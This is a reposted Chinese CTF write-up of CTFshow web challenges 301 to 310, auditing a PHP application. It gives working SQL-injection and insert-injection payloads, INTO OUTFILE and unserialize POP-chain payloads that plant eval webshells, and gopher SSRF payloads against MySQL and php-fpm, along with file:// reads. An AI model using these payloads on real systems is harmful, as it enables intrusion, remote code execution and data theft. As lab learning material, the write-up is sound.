当前位置:首页 » 《随便一记》 » 正文

CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入、SSRF打MySQL、SSRF打FastCGI、SSRF文件读取_Ocean的博客

9 人参与  2022年02月28日 15:41  分类 : 《随便一记》  评论

点击全文阅读


web301-SQL注入

下载源码,在checklogin.php页面存在SQL注入

$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}
$_SESSION['error']="1";
header("location:login.php");

由于只是进行了比较并没有回显,普通的SQL注入无法使用

方法一:构造临时用户

mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录

在本地环境测试下

users表内存在以下字段与值

image-20211002135311124

如果查询两个字段会出现下面的结果,生成一个假的用户

image-20211002140133674

当只查询一个字段时,通过在username处插入SQL查询语句改变查询结果

1' union select 1# ';

image-20211002135640625

image-20211002135712080

输入密码1即可登录后台获取flag

image-20211002140251339

方法二:写入shell

既然是没有回显,也可以用写shell的方法

SQL注入写入文件前提推荐阅读

  • 对目录有写入权限
  • 知道绝对路径
userid=a' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"%23&userpwd=1

image-20211002133903091

方法三:sqlmap

bool盲注方法

python .\sqlmap.py -u "http://fddf2115-423b-4701-b77b-8ef5f2194ee7.challenge.ctf.show:8080/" --form --batch --dump

# 参数 
--batch 批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
--forms 在目标URL上解析和测试表单
--dump 查询指定范围的全部数据

web302-SQL注入

与上题不同之处在于

checklogin.php,userpwd添加了一个sds_decode函数

if(!strcasecmp(sds_decode($userpwd),$row['sds_password']))
# 先了解strcasecmp() 函数
比较两个字符串(不区分大小写)
该函数返回:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2

这个函数在fun.php

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

方法一:联合查询

既然可以修改SQL语句执行后的结果,只要让SQL查询出的结果和输入password经过sds_decode函数后的值一致就行,比如就让password=1

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
$str=1;
var_dump(sds_decode($str));
?>
    
# string(32) "d9c77c4e454869d5d8da3b4be79694d3"    

构造sql语句

1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#

password为1

image-20211002161539923

方法二:写shell

因为这个判断是在SQL语句执行之后,所以对写入shell是没有影响的

抓包修改而不是在用户框直接传入,因为浏览器会默认进行url编码导致SQL语句无法执行

image-20211002161928530

image-20211002162236564

web303-insert注入

checklogin.php,username长度限制在6以内

if(strlen($username)>6){
	die();
}

新添加了两个页面,dpt.php,dptadd.php

因为限制了SQL注入语句的的长度之前的方法就没法使用了,但是新增了功能且dptadd.php代码注释中给了提示//sql注入点,但是需要带session访问页面,所以现在首先就需要登录账户,fun.php也给出了提示,猜测账密就是admin,成功登录

image-20211002164025802

# dptadd.php中传入参数没有过滤,存在insert注入
$sql="insert into sds_dpt set 
sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;

无过滤insert注入

查表名

dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

查字段

dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#

查值

dpt_name=1',sds_address=(select flag from sds_fl9g)#

image-20211002172313104

web304-insert注入绕过

提示:增加了全局过滤

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

给的源码中没找到waf,网页测试中也没过滤,只是将数据库名改为了sds_flaag

web305-反序列化写入文件

添加了waf,在fun.php

function sds_waf($str){
	if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
		return false;
	}else{
		return true;
	}
}

dptadd.php所有的参数都被过滤函数包裹,SQL注入无望

在class.php发现文件写入

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

在checklogin.php存在反序列化

$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);
}

构造poc

<?php
class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
}
var_dump(urlencode(serialize(new user('a.php','<?php eval($_POST[1]);?>'))));//get可能会出现yijian连不上的情况
?>
    
# O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22a.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

image-20211002180436130

可以用蚁剑去连接shell,发现flag并没有在文件中,根据蚁剑远程连接的conn.php文件中的账号密码root:root连接数据库

蚁剑中对要进行管理的Shell,单击鼠标右键,在菜单中选择「数据操作」,添加配置

image-20211002181709517

image-20211002181757853

image-20211002181838240

web306-pop反序列化

在class.php在存在文件写入(file_put_contents)函数,寻找调用链

class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}
}

在dao.php可以调用close函数,而且在__destruct()方法内

image-20211002193737076

在index.php文件中又包含了dao.php,并且存在反序列化函数

<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));
if(!$user){
    header("location:login.php");
}

构造payload

<?php
class dao{
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}
}
class log{
	public $title='a.php';
	public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));

# TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

在浏览器中添加cookie:user,访问index.php,即可生成一句话木马,cat flag.php即可拿到flag

web307-pop反序列化

mvc框架,上题的close函数已经变为closelog,而且只出现了一次无法调用,但是dao.php存在一个clearCache函数,执行了命令,并且cache_dir是可控的

	public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

clearCache在service.php被调用

class service{
......
	public function clearCache(){
		$this->dao->clearCache();
	}
}

logout.php包含了service.php并且调用了clearCache函数

......
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
	$service->clearCache();
}
......

service是通过dao类调用的clearCache,logout.php require了service.php,而service.php又require了/dao/dao.php,所以不需要用到service类也可以直接通过dao类调用clearCache

构造payload

<?php
class config{
	public $cache_dir = ';echo  "<?php eval(\$_POST[1]);?>" >a.php;';
	//linux的shell里面$有特殊意义所以转义一下。
}	

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
$a=new dao();
echo base64_encode(serialize($a));
#
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDI6IjtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=

在浏览器添加cookie:service值就是payload生成的base64值,访问controller/logout.php,生成shell

image-20211002221248501

访问shell,执行命令

image-20211002221400574

web308-SSRF打mysql

提示:需要拿shell

增加了过滤,cache_dir只能是字母

	public function  clearCache(){
		if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
			shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
		}
	}

fun.php存在checkUpdate函数,也就是存在ssrf

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

并且dao.php调用了checkUpdate函数

	public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

config中的update_url也是可控的,跟上题一样,logout.php require了service.php,而service.php又require了/dao/dao.php,所以不需要用到service类也可以直接通过dao类调用checkVersion

因为提示了需要拿shell,环境中存在mysql,还有一个明显的特征就是MySQL没有密码,可以通过是SSRF打MySQL

# service/dao/config/config.php
class config{
	private $mysql_username='root';
	private $mysql_password='';

通过gopherus生成poc

image-20211002224123476

构造序列化payload

<?php
class config{
	public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01';
}	

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
$a=new dao();
echo base64_encode(serialize($a));

# TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3Nzg6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNGIlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNDAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMjclNjMlNmQlNjQlMjclNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjclMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzIlMmUlNzAlNjglNzAlMjclM2IlMDElMDAlMDAlMDAlMDEiO319

在浏览器添加cookie:service值就是payload生成的base64值,访问controller/logout.php,生成shell

image-20211002224449290

cat这个文件就行了

web309-SSRF打FastCGI

提示:需要拿shell,308的方法不行了,mysql 有密码了

对比了源码是一模一样的,SSRF还有可能的就是打Redis(端口6379)和FastCGI(端口9000)

探测是通过gopher协议的延迟判断的

gopher://127.0.0.1:9000

摘自羽师傅博客

通过http或其他协议去探测内网,如果ip存活则短延迟(不管端口开没开),如果ip不存在则长延迟

问题出现在了FastCGI,具体可见

FastCGI协议

在静态网站中,WEB 容器如 Apache、Nginx 相当于内容分发员的角色, 根据用户请求的页面从网站根目录中返回给用户;而在动态网站中,WEB 容器例如 Apache 会根据用户的请求进行简单处理后交给 php 解释器;当 Apache 收到用户对 index.php 的请求后,如果使用的是 CGI,会启动对应的 CGI 程序,对应在这里就是 PHP 的解析器。接下来 PHP 解析器会解析 php.ini 文件,初始化执行环境,然后处理请求,再以规定 CGI 规定的格式返回处理后的结果,退出进程,Web server 再把结果返回给浏览器。这就是一个完整的动态 PHP Web 访问流程

这里说的是使用 CGI,而 FastCGI 就相当于高性能的 CGI,与 CGI 不同的是它像一个常驻的 CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展,其主要行为是将 CGI 解释器进程保持在内存中,并因此获得较高的性能

php-fpm

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的

也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,**worker 进程主要负责动态执行 PHP 代码,**处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端

漏洞原理

假设在配置fpm时,将监听的地址设为了0.0.0.0:9000,那么就会产生php-fpm未授权访问漏洞,此时攻击者可以无需利用SSRF从服务器本地访问的特性,直接与服务器9000端口上的php-fpm进行通信,进而可以用fcgi_exp等工具去攻击服务器上的php-fpm实现任意代码执行

利用工具生成payload

image-20211003093507938

构造poc

<?php
class config{
	public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}	

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
$a=new dao();
echo base64_encode(serialize($a));

因为在index.php中同样调用了checkVersion,并且将结果输出,所以可以回显

image-20211003093927232

web310-文件读取

源码没有修改,也cat不到flag,用find命令找flag,发现在/var/flag,但是无法直接读取,尝试用file伪协议去读取配置文件nginx.conf

<?php
class config{
	public $update_url = 'file:///etc/nginx/nginx.conf';
}	
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
echo base64_encode(serialize(new dao()));

# TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyODoiZmlsZTovLy9ldGMvbmdpbngvbmdpbnguY29uZiI7fX0=

image-20211003103629556

server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;
}

# 每一个http块都可以包含多个server块,而每个server块就相当于一台虚拟主机,它内部可有多台主机联合提供服务,一起对外提供在逻辑上关系密切的一组服务

访问4476端口

<?php
class config{
	public $update_url = 'http://127.0.0.1:4476';
}	

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}

echo base64_encode(serialize(new dao()));

# TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyMToiaHR0cDovLzEyNy4wLjAuMTo0NDc2Ijt9fQ==

image-20211003103952125

参考链接

羽师傅YYDS

https://blog.csdn.net/miuzzx/article/details/111352849
https://blog.csdn.net/rfrder/article/details/113924013


点击全文阅读


本文链接:http://zhangshiyu.com/post/35520.html

函数  注入  调用  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1